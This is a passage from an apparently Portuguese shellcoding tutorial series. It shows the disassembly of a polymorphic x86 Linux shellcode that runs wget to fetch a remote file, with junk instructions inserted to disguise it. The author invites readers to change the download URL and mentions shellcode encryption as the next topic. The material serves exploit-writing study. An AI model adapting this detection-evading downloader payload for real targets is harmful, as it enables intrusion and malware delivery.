 8048092: e1 6a                 loope  80480fe <_start+0x9e>
 8048094: 74 eb                 je     8048081 <_start+0x21>
 8048096: 01 e3                 add    ebx,esp
 8048098: 68 2f 77 67 65       push   0x6567772f
 804809d: eb 01                 jmp    80480a0 <_start+0x40>
 804809f: 83 68 2f 62           sub    DWORD PTR [eax+0x2f],0x62
 80480a3: 69 6e eb 01 33 68 2f imul   ebp,DWORD PTR [esi-0x15],0x2f683301
 80480aa: 75 73                 jne    804811f <_start+0xbf>
 80480ac: 72 8d                 jb     804803b <_start-0x25>
 80480ae: 1c 24                 sbb    al,0x24
 80480b0: eb 01                 jmp    80480b3 <_start+0x53>
 80480b2: 83 50 51 53           adc    DWORD PTR [eax+0x51],0x53
 80480b6: 89 e1                 mov    ecx,esp
 80480b8: f7 dd                 neg    ebp
 80480ba: 95                   xchg   ebp,eax
 80480bb: eb 01                 jmp    80480be <_start+0x5e>
 80480bd: 83 cd 80             or     ebp,0xffffff80

Bem diferente, não acham?

Ao rodar o payload, é feito o download de um arquivo; se vocês acompanharam os posts desde o início, vão saber dizer o conteúdo dele. Façam isso! Aguardo contato informando o respectivo conteúdo. E após descobrirem, aproveitem e modifiquem-no para usar a url que quiserem.

Original: 42 bytes
Mutated: 96 bytes

End.


Accomplished

Atentem que poderíamos ter utilizado criptografia no próprio shellcode para fortalecer a sua mutação; mas esse é o tema da sétima e última missão.

Vemo-nos lá!

o//


Mais Informações

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.